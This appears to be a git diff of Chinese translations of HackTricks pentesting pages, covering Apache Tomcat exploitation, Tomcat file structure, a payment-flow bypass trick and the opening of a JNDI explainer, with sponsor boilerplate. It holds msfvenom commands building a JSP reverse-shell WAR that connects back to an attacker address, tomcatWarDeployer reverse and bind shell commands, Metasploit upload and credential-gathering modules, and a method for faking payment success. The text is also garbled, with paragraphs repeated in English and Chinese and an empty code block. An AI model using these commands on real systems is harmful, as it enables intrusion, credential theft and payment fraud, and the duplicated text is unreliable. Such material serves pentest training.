@ -131,7 +139,15 @@ curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell
```
### Metasploit
Metasploit是一款广泛使用的渗透测试工具用于发现和利用网络服务的漏洞。它提供了一个强大的框架使渗透测试人员能够自动化执行各种攻击包括远程代码执行、提权、漏洞利用等。Metasploit还提供了一个广泛的漏洞数据库其中包含了各种已知的漏洞和利用模块使渗透测试人员能够快速找到并利用目标系统上的漏洞。
Metasploit是一款广泛使用的渗透测试工具用于评估和验证系统的安全性。它提供了一系列功能强大的模块用于发现和利用系统中的漏洞。Metasploit可以用于测试Web应用程序、操作系统、网络设备等各种目标。
Metasploit的一个重要模块是exploit模块它包含了各种漏洞利用代码。通过选择合适的exploit模块渗透测试人员可以利用目标系统中的已知漏洞获取系统权限或执行任意代码。
Metasploit还提供了payload模块用于在目标系统上执行特定的操作。payload可以是一个简单的命令也可以是一个完整的shell。渗透测试人员可以根据需要选择合适的payload以实现特定的攻击目标。
Metasploit还支持post模块用于在渗透测试后对目标系统进行后期操作。这些操作可以包括数据收集、权限提升、持久性访问等。
总之Metasploit是一款功能强大的渗透测试工具可以帮助渗透测试人员发现和利用系统中的漏洞评估系统的安全性。
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
@ -142,19 +158,23 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### MSFVenom反向Shell
MSFVenom是Metasploit Framework的一部分它是一个用于生成恶意软件有效载荷的工具。使用MSFVenom我们可以生成一个反向Shell以便在目标系统上建立一个远程连接。
The MSFVenom tool is a powerful payload generator and encoder that is part of the Metasploit Framework. It allows you to create custom payloads for various exploits, including reverse shells.
以下是生成MSFVenom反向Shell的命令
To generate a reverse shell payload using MSFVenom, you can use the following command:
```bash
```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f war > shell.war
```
在上述命令中,我们使用`java/jsp_shell_reverse_tcp`有效载荷来生成反向Shell。`LHOST`参数用于指定攻击者的IP地址`LPORT`参数用于指定攻击者监听的端口。生成的反向Shell将保存为`shell.war`文件。
Replace `<attacker IP>` with your IP address and `<attacker port>` with the port number you want to use for the reverse shell connection.
一旦我们成功生成了反向Shell我们可以将其部署到目标系统上的Tomcat服务器中。当目标系统上的Tomcat服务器启动时它将尝试与攻击者的IP地址和端口建立连接从而建立一个远程Shell会话。
This command will generate a Java Server Pages (JSP) payload that establishes a reverse TCP connection to your machine. The payload will be saved as a .war file named `shell.war`.
请注意使用反向Shell进行未经授权的访问是非法的并且可能会导致严重的法律后果。本书仅旨在提供有关网络安全的知识并强调合法和道德的使用。
Once you have generated the payload, you can deploy it on a vulnerable server running Apache Tomcat or any other compatible web server. After successful deployment, you can trigger the reverse shell connection by accessing the deployed file through a web browser.
Remember to set up a listener on your machine to catch the incoming reverse shell connection. You can use tools like Netcat or Metasploit's multi/handler module for this purpose.
Keep in mind that using MSFVenom or any other hacking tool without proper authorization is illegal and unethical. Always ensure that you have the necessary permissions and legal rights before conducting any penetration testing activities.
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
```
@ -170,39 +190,27 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### 反向 shell
A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain remote access to the target machine and execute commands.
A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain remote access to the target machine and execute commands. Reverse shells are commonly used in post-exploitation scenarios to maintain persistent access to a compromised system.
To create a reverse shell, the attacker needs to set up a listener on their machine and then exploit a vulnerability on the target machine to establish the connection. Once the connection is established, the attacker can interact with the target machine's shell and execute commands as if they were physically present on the machine.
To establish a reverse shell, the attacker typically needs to exploit a vulnerability in a network service running on the target machine. Once the vulnerability is exploited, the attacker can inject malicious code that establishes a connection back to their machine.
Reverse shells are commonly used in penetration testing and hacking scenarios to gain unauthorized access to a target machine. They can be used to bypass firewalls and other security measures, as the connection is initiated from the inside of the target network.
There are various tools and techniques available for creating reverse shells, including using netcat, Python, or Metasploit. The choice of tool depends on the specific requirements of the penetration test and the target environment.
#### 反向 shell
反向 shell 是一种 shell其中目标机器发起与攻击者机器的连接。这使得攻击者能够远程访问目标机器并执行命令。
要创建一个反向 shell攻击者需要在他们的机器上设置一个监听器然后利用目标机器上的漏洞建立连接。一旦连接建立攻击者就可以与目标机器的 shell 进行交互,并像他们实际上在机器上一样执行命令。
反向 shell 在渗透测试和黑客攻击场景中常被用于未经授权访问目标机器。它们可以用于绕过防火墙和其他安全措施,因为连接是从目标网络内部发起的。
It is important to note that the use of reverse shells for unauthorized access to systems is illegal and unethical. Reverse shells should only be used in authorized penetration testing engagements or for educational purposes with proper consent and legal authorization.
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### 绑定 shell
A bind shell is a type of shell that listens for incoming connections on a specific port. When a connection is established, the bind shell provides a command-line interface to interact with the target system. This can be useful for remote administration or for launching further attacks.
A bind shell is a type of shell that allows an attacker to gain remote access to a compromised system. It works by binding a shell to a specific port on the target system, allowing the attacker to connect to that port and gain control over the system.
一个绑定 shell 是一种在特定端口上监听传入连接的 shell。当建立连接时绑定 shell 提供一个命令行界面,用于与目标系统进行交互。这对于远程管理或发起进一步的攻击非常有用。
To create a bind shell, the attacker needs to find a vulnerable service running on the target system that allows remote connections. One common target is the Apache Tomcat web server, which is often used to host Java-based web applications.
To create a bind shell, an attacker typically exploits a vulnerability in a network service, such as a web server or an FTP server, to gain unauthorized access to the target system. Once access is obtained, the attacker can execute a command that starts a shell listening on a specific port.
Once the attacker has identified a vulnerable service, they can exploit it to execute arbitrary commands on the target system. This can be done by injecting malicious code into the service or by exploiting a known vulnerability.
为了创建一个绑定 shell攻击者通常利用网络服务中的漏洞如 Web 服务器或 FTP 服务器)来获取对目标系统的未经授权访问。一旦获得访问权限,攻击者可以执行一个命令,在特定端口上启动一个监听 shell。
Once the attacker has gained access to the target system, they can use the bind shell to execute commands and interact with the system as if they were sitting in front of it. This can include tasks such as browsing files, modifying configurations, or even launching further attacks on other systems within the network.
Once the bind shell is active, the attacker can connect to it using a tool like Netcat or Telnet. This allows the attacker to execute commands on the target system and potentially gain full control over it.
一旦绑定 shell 激活,攻击者可以使用 Netcat 或 Telnet 等工具连接到它。这使得攻击者可以在目标系统上执行命令,并有可能完全控制它。
It is important to note that using bind shells for unauthorized access to systems is illegal and unethical. This information is provided for educational purposes only, to help understand the techniques used by attackers and to better defend against them.
需要注意的是,未经授权地使用绑定 shell 访问系统是非法和不道德的。这些信息仅供教育目的,以帮助理解攻击者使用的技术,并更好地防御它们。
It is important to note that using a bind shell to gain unauthorized access to a system is illegal and unethical. This information is provided for educational purposes only and should not be used for any malicious activities.
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
@ -260,23 +268,7 @@ Tomcat凭据文件的名称是 _tomcat-users.xml_
```bash
find / -name tomcat-users.xml 2>/dev/null
```
其他收集Tomcat凭据的方法
1. **弱密码攻击**使用常见的弱密码列表或字典攻击Tomcat管理员账户。这种方法依赖于用户使用弱密码的习惯。
2. **默认凭据**尝试使用Tomcat默认的用户名和密码进行登录。默认的用户名是"admin",密码为空。
3. **字典攻击**:使用自定义的字典文件,包含常见的用户名和密码组合,进行暴力破解攻击。
4. **社交工程**:通过与目标用户进行交流,获取他们的凭据信息。这可以通过钓鱼攻击、欺骗或其他社交工程技术来实现。
5. **漏洞利用**利用已知的Tomcat漏洞如弱密码存储、目录遍历、身份验证绕过等来获取凭据信息。
6. **网络嗅探**使用网络嗅探工具如Wireshark捕获Tomcat登录过程中的凭据信息。
7. **暴力破解**使用暴力破解工具如Hydra或Medusa对Tomcat进行凭据破解。
请注意,使用这些方法进行未经授权的凭据收集是非法的,只能在合法的渗透测试或授权的安全评估活动中使用。
获取Tomcat凭据的其他方法
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
@ -287,12 +279,19 @@ msf> use post/windows/gather/enum_tomcat
<details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便您能更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术栈中的问题从API到Web应用和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享的黑客技巧**。
</details>

View file

@ -2,16 +2,24 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
### 避免以root身份运行
为了不以root身份运行Tomcat一个非常常见的配置是在端口80/443上设置一个Apache服务器如果请求的路径与正则表达式匹配则将请求发送到在不同端口上运行的Tomcat。
@ -43,26 +51,9 @@
```
* `WEB-INF` folder: This folder contains the configuration files and classes specific to the web application.
* `META-INF` folder: This folder contains the metadata files for the web application.
* `index.html` or `index.jsp` file: This file is the default landing page for the web application.
* Other files and folders specific to the web application.
* Other files and folders: These can include HTML, CSS, JavaScript, and other resources used by the web application.
---
* `bin` 文件夹存储启动和运行 Tomcat 服务器所需的脚本和二进制文件。
* `conf` 文件夹存储 Tomcat 使用的各种配置文件。
* `tomcat-users.xml` 文件存储用户凭据及其分配的角色。
* `lib` 文件夹保存了正确运行 Tomcat 所需的各种 JAR 文件。
* `logs``temp` 文件夹存储临时日志文件。
* `webapps` 文件夹是 Tomcat 的默认 Web 根目录,托管所有应用程序。`work` 文件夹充当缓存,用于在运行时存储数据。
`webapps` 内的每个文件夹都应具有以下结构。
---
* `WEB-INF` 文件夹:该文件夹包含特定于 Web 应用程序的配置文件和类。
* `META-INF` 文件夹:该文件夹包含 Web 应用程序的元数据文件。
* `index.html``index.jsp` 文件:该文件是 Web 应用程序的默认起始页面。
* 其他特定于 Web 应用程序的文件和文件夹。
To perform a basic Tomcat information gathering, you can check the version of Tomcat by accessing the default page at `http://<ip_address>:<port>`. Additionally, you can also check for default or weak credentials in the `tomcat-users.xml` file.
```
webapps/customapp
├── images
@ -79,8 +70,9 @@ webapps/customapp
└── classes
└── AdminServlet.class
```
最重要的文件之一是`WEB-INF/web.xml`,它被称为部署描述符。该文件存储了应用程序使用的路由信息以及处理这些路由的类。\
应用程序使用的所有编译类都应存储在`WEB-INF/classes`文件夹中。这些类可能包含重要的业务逻辑和敏感信息。这些文件中的任何漏洞都可能导致网站完全被攻击。`lib`文件夹存储了该特定应用程序所需的库。`jsp`文件夹存储了[Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages),以前称为`JavaServer Pages`可以与Apache服务器上的PHP文件进行比较。
最重要的文件之一是`WEB-INF/web.xml`,它被称为部署描述符。该文件存储了应用程序使用的路由信息以及处理这些路由的类。
应用程序使用的所有编译类都应存储在`WEB-INF/classes`文件夹中。这些类可能包含重要的业务逻辑和敏感信息。这些文件中的任何漏洞都可能导致网站完全被攻击者控制。`lib`文件夹存储了该应用程序所需的库文件。`jsp`文件夹存储了[Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages),以前被称为`JavaServer Pages`可以与Apache服务器上的PHP文件进行比较。
以下是一个示例**web.xml**文件。
```xml
@ -104,7 +96,7 @@ webapps/customapp
* `classes/com/inlanefreight/api/AdminServlet.class`
接下来创建了一个新的servlet映射将请求映射到`/admin`并使用`AdminServlet`处理。这个配置将把任何接收到的`/admin`请求发送到`AdminServlet.class`类进行处理。`web.xml`描述符包含了很多敏感信息是在利用本地文件包含LFI漏洞时需要检查的重要文件。
接下来创建了一个新的servlet映射将请求映射到`/admin`并使用`AdminServlet`。这个配置将把任何接收到的`/admin`请求发送到`AdminServlet.class`类进行处理。`web.xml`描述符包含了很多敏感信息是在利用本地文件包含LFI漏洞时需要检查的重要文件。
### tomcat-users
@ -149,20 +141,27 @@ will also need to set the passwords to something appropriate.
</tomcat-users>
```
该文件显示了每个角色`manager-gui``manager-script``manager-jmx`和`manager-status`提供的访问权限。在这个例子中,我们可以看到一个名为`tomcat`的用户具有密码`tomcat`和`manager-gui`角色,而用户账户`admin`设置了第二个弱密码`admin`。
该文件展示了每个角色`manager-gui`、`manager-script`、`manager-jmx`和`manager-status`所提供的访问权限。在这个例子中,我们可以看到一个名为`tomcat`的用户具有`manager-gui`角色,并且用户账户`admin`设置了一个弱密码`admin`。
## 参考资料
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
查找最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术栈中的问题从API到Web应用和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享的黑客技巧**。
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享的黑客技巧**。
</details>

View file

@ -1,39 +1,55 @@
# 绕过支付流程
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找出最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术栈中的问题从API到Web应用和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
1. 最好选择**PayPal**或**CoinPayments**作为支付方式
2. 拦截所有请求你可能会找到一个名为_**Success**_或_**Referrer**_或_**Callback**_的参数
3. 如果参数内的值有一个类似这样的URL _**example.com/payment/MD5HASH**_ 例如
4. **复制它,并在新窗口中打开**,你会发现你的付款成功了
2. 拦截所有请求,可能会找到一个名为_**Success**_或_**Referrer**_或_**Callback**_的参数
3. 如果参数内的值具有类似_**example.com/payment/MD5HASH**_的URL
4. **复制它,并在新窗口中打开**您会发现您的付款已成功
@SalahHasoneh1
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找出最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术栈中的问题从API到Web应用和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**

View file

@ -5,20 +5,28 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 基本信息
JNDI自上世纪90年代末以来一直存在于Java中。它是一个目录服务**允许Java程序通过名称服务在目录中查找数据**。名称服务关联值(绑定),因此可以通过其在目录中的引用来获取它。
JNDI自上世纪90年代末以来一直存在于Java中。它是一个目录服务**允许Java程序通过使用名称服务在目录中查找数据**。名称服务关联值(绑定),因此可以通过其在目录中的引用来获取它。
JNDI具有多个**服务提供者接口**SPI使其能够使用各种目录服务。JNDI的目标是非常容易地从其他系统获取数据。甚至可以远程获取Java对象这就是问题的所在。
